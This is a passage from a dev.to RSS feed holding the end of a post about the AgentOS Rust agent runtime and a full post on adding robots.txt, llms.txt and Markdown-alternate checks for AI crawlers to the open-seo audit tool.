&lt;code&gt;crates/trace&lt;/code&gt; — recording, replay, diff, checkpoint model&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;crates/vault&lt;/code&gt; — secret isolation, encryption, scopes, audit&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;crates/memory&lt;/code&gt;, &lt;code&gt;crates/registry&lt;/code&gt;, &lt;code&gt;crates/llm&lt;/code&gt;, &lt;code&gt;crates/cli&lt;/code&gt;, &lt;code&gt;crates/sdk&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dashboard/&lt;/code&gt; — React debugging surface&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Where it honestly stands
&lt;/h2&gt;

&lt;p&gt;Stable enough for local use: the &lt;code&gt;run / ps / logs / trace / replay&lt;/code&gt; CLI flows, local state inspection, export and import, and the core crates with workspace checks and tests.&lt;/p&gt;

&lt;p&gt;Still experimental: the dashboard, the WASM plugin runtime, Docker Compose packaging, LLM provider integrations, and Python/TypeScript SDK packaging. Stronger restart and recovery guarantees with explicit tests are next. It is an alpha, and I would rather say that than claim production hardening it has not earned yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/WAHIB-EL-KHADIRI/AgentOS
&lt;span class="nb"&gt;cd&lt;/span&gt; AgentOS
cargo build --workspace
cargo run -p agentos-cli -- run --agent examples/simple_agent.toml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Repo: &lt;a href="https://github.com/WAHIB-EL-KHADIRI/AgentOS" rel="noopener noreferrer"&gt;https://github.com/WAHIB-EL-KHADIRI/AgentOS&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Feedback on the runtime boundaries is what I want most: if you run agents today, what breaks first for you — supervision, observability, or reproducing failures?&lt;/p&gt;

</description>
      <category>rust</category>
      <category>ai</category>
      <category>opensource</category>
      <category>showdev</category>
    </item>
    <item>
      <title>I Taught an Open-Source SEO Tool to Check Whether Your Site Is Readable by AI Agents</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Tue, 21 Jul 2026 23:08:35 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/i-taught-an-open-source-seo-tool-to-check-whether-your-site-is-readable-by-ai-agents-15i3</link>
      <guid>https://dev.to/wahib_el_khadiri_0/i-taught-an-open-source-seo-tool-to-check-whether-your-site-is-readable-by-ai-agents-15i3</guid>
      <description>&lt;p&gt;Most SEO audit tools still ask the questions search engines cared about ten years ago: is your title tag the right length, do your images have alt text, is your sitemap valid. Those still matter. But a growing chunk of how people find content now goes through an AI assistant instead of a search results page, and almost no audit tool checks whether your site is even &lt;em&gt;reachable&lt;/em&gt; by one.&lt;/p&gt;

&lt;p&gt;I picked up an open issue on &lt;a href="https://github.com/every-app/open-seo" rel="noopener noreferrer"&gt;open-seo&lt;/a&gt; (an open-source Semrush/Ahrefs alternative) to close that gap, and it turned into a good lesson in scoping a feature for someone else's codebase instead of your own.&lt;/p&gt;

&lt;h2&gt;
  
  
  The actual question
&lt;/h2&gt;

&lt;p&gt;"Is this site AI-readable?" breaks down into concrete, checkable things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Does &lt;code&gt;robots.txt&lt;/code&gt; block the crawlers that build AI search indexes and answer live user requests?&lt;/li&gt;
&lt;li&gt;Does the site have an &lt;code&gt;llms.txt&lt;/code&gt; — the emerging convention that gives an AI assistant a clean map of your important pages?&lt;/li&gt;
&lt;li&gt;Does the site advertise a Markdown alternate for its pages, so an assistant can read clean content instead of parsing full HTML?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Straightforward to state. The interesting part was not flagging noise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lesson 1: not every robots.txt block is a signal
&lt;/h2&gt;

&lt;p&gt;A site with &lt;code&gt;Disallow: /&lt;/code&gt; for every crawler made a deliberate, site-wide choice. Reporting "GPTBot is blocked!" on a site that blocks &lt;em&gt;everything&lt;/em&gt; isn't useful information — it's noise dressed up as an insight. So the check only flags an AI agent when it's treated &lt;strong&gt;worse than the generic rules&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;rootUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`${origin}/`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;robots&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isAllowed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rootUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;GENERIC_PROBE_AGENT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// whole site is closed — not an AI-specific signal&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;I also grouped agents by &lt;em&gt;why they visit&lt;/em&gt; instead of firing one issue per bot. &lt;code&gt;GPTBot&lt;/code&gt; and &lt;code&gt;ClaudeBot&lt;/code&gt; are training crawlers; blocking them is often an intentional content policy and barely worth a heads-up. &lt;code&gt;ChatGPT-User&lt;/code&gt; and &lt;code&gt;Claude-User&lt;/code&gt; fetch a page live because an actual human asked an assistant about it right now — blocking those is a much bigger deal, because you're breaking a request in progress, not opting out of a training set. Same signal, completely different severity, so they're separate issue types with separate default severities instead of one generic "AI crawler blocked" bucket.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lesson 2: absence isn't always an error
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;llms.txt&lt;/code&gt; and Markdown alternates are both new enough that almost nobody has them yet. If the check flagged every single audited site for "missing Markdown alternates," it would train users to ignore the audit tool's warnings entirely — the boy-who-cried-wolf failure mode of any linter. Both checks are &lt;code&gt;info&lt;/code&gt; severity with copy that says, explicitly, "this is common, not an error." The one genuinely broken state — a site that &lt;em&gt;serves&lt;/em&gt; &lt;code&gt;llms.txt&lt;/code&gt; but violates its one hard structural requirement (starts with an H1) — is the only case that gets bumped to &lt;code&gt;warning&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lesson 3: match the codebase's own constraints, not your own instincts
&lt;/h2&gt;

&lt;p&gt;My first instinct for "does this page have a Markdown alternate" was to persist a new boolean column on the crawled-pages table. Then I actually looked at how the project's crawl pipeline works: full page data lives in a database table, but only a &lt;em&gt;slim summary&lt;/em&gt; (title, status code, a few other fields) survives between crawl phases as durable workflow state — link lists and everything else deliberately get dropped to keep memory bounded on 10,000-page crawls.&lt;/p&gt;

&lt;p&gt;Adding a persisted column meant a schema migration, which meant touching both the SQLite and Postgres schema paths this project supports side by side — a much bigger, riskier diff for a feature that doesn't actually need to survive past the audit run. So instead the flag rides through the same transient summary object the pipeline already carries between phases, and the &lt;em&gt;finding&lt;/em&gt; — not the raw per-page flag — is the only thing that gets persisted, as a single site-level issue row. Same pattern the project already used for the file-based &lt;code&gt;llms.txt&lt;/code&gt; check; I just extended it instead of inventing a new one.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lesson 4: extend the open PR, don't fragment the review
&lt;/h2&gt;

&lt;p&gt;I'd already opened a PR for the robots.txt and &lt;code&gt;llms.txt&lt;/code&gt; checks. Before anyone had reviewed it, I built the Markdown-alternates check too — and instead of opening a third PR, I pushed a second commit onto the same branch. The maintainer hasn't looked at any of it yet, so there was no in-flight review to disrupt, and one PR that closes three-quarters of the original issue is easier to review than three PRs that each close a quarter of it and reference each other.&lt;/p&gt;
&lt;h2&gt;
  
  
  Result
&lt;/h2&gt;

&lt;p&gt;19 unit tests, no schema changes, no new external API calls beyond one extra fetch for &lt;code&gt;llms.txt&lt;/code&gt;. The PR's open here if you want to see the actual diff: &lt;a href="https://github.com/every-app/open-seo/pull/122" rel="noopener noreferrer"&gt;every-app/open-seo#122&lt;/a&gt;.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/every-app" rel="noopener noreferrer"&gt;
        every-app
      &lt;/a&gt; / &lt;a href="https://github.com/every-app/open-seo" rel="noopener noreferrer"&gt;
        open-seo
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Open source alternative to Semrush and Ahrefs
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OpenSEO&lt;/h1&gt;
&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Open source alternative to Semrush and Ahrefs&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OpenSEO is an SEO tool for &lt;em&gt;the people&lt;/em&gt;. If tools like Semrush or Ahrefs are too expensive or bloated, OpenSEO is a pay-as-you-go alternative that you actually control.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;All-in-one SEO tool for you and your AI agent.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Connect with any agent like Claude Code, OpenClaw or Hermes. We have pre-built skills, but you can build your own to tailor OpenSEO to your needs.&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://private-user-images.githubusercontent.com/44480372/661749138-8ebdc439-3e72-41ab-8bde-8cda771ef2e8.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3OTU0NzQ5MDQsIm5iZiI6MTc5NTQ3NDYwNCwicGF0aCI6Ii80NDQ4MDM3Mi82NjE3NDkxMzgtOGViZGM0MzktM2U3Mi00MWFiLThiZGUtOGNkYTc3MWVmMmU4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjExMjMlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYxMTIzVDIyNTY0NFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTJmM2Q2MzVhNjc0MTlmNzE5NmIxYjVmZTU5ZjQwNjA1YWFlNmM2NzdlZDVlM2M3OWY2ZjI4ZTFkMzBkMjE2NzAmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.GDO3FVnBnMBpb6CHjqRQ4oiajsw90JGMW0kGytdUwRk"&gt;&lt;img width="100%" alt="openseo-keyword-research" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fprivate-user-images.githubusercontent.com%2F44480372%2F661749138-8ebdc439-3e72-41ab-8bde-8cda771ef2e8.png%3Fjwt%3DeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3OTU0NzQ5MDQsIm5iZiI6MTc5NTQ3NDYwNCwicGF0aCI6Ii80NDQ4MDM3Mi82NjE3NDkxMzgtOGViZGM0MzktM2U3Mi00MWFiLThiZGUtOGNkYTc3MWVmMmU4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjExMjMlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYxMTIzVDIyNTY0NFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTJmM2Q2MzVhNjc0MTlmNzE5NmIxYjVmZTU5ZjQwNjA1YWFlNmM2NzdlZDVlM2M3OWY2ZjI4ZTFkMzBkMjE2NzAmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.GDO3FVnBnMBpb6CHjqRQ4oiajsw90JGMW0kGytdUwRk"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Hosted Version&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;Try OpenSEO for free on our website. If you want to support the project, a hosted subscription is $10/month.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://openseo.so" rel="nofollow noopener noreferrer"&gt;openseo.so&lt;/a&gt;&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Why use OpenSEO?&lt;/h2&gt;
&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Best in class MCP and AI Skills.&lt;/li&gt;
&lt;li&gt;Modern, simple UI.
&lt;ul&gt;
&lt;li&gt;Focused workflows instead of a bloated, complex SEO suite.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;No subscriptions.

&lt;ul&gt;
&lt;li&gt;Bring your own DataForSEO API key and pay only for what you use.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Fork and vibe code your own custom tool.&lt;/li&gt;

&lt;/ul&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Main SEO Workflows&lt;/h2&gt;

&lt;/div&gt;


&lt;ul&gt;

&lt;li&gt;Keyword research&lt;/li&gt;

&lt;li&gt;Rank tracking&lt;/li&gt;

&lt;li&gt;Competitor Insights&lt;/li&gt;

&lt;li&gt;Backlinks&lt;/li&gt;

&lt;li&gt;Site…&lt;/li&gt;

&lt;/ul&gt;&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/every-app/open-seo" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;The code itself was the easy part. The actual work was reading how someone else already solved similar problems in their codebase before writing a single line — the "how do I avoid noise" and "how do I fit this project's existing shape" questions mattered more than the crawler-detection logic itself.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>typescript</category>
      <category>webdev</category>
      <category>ai</category>
    </item>
  </channel>
</rss>
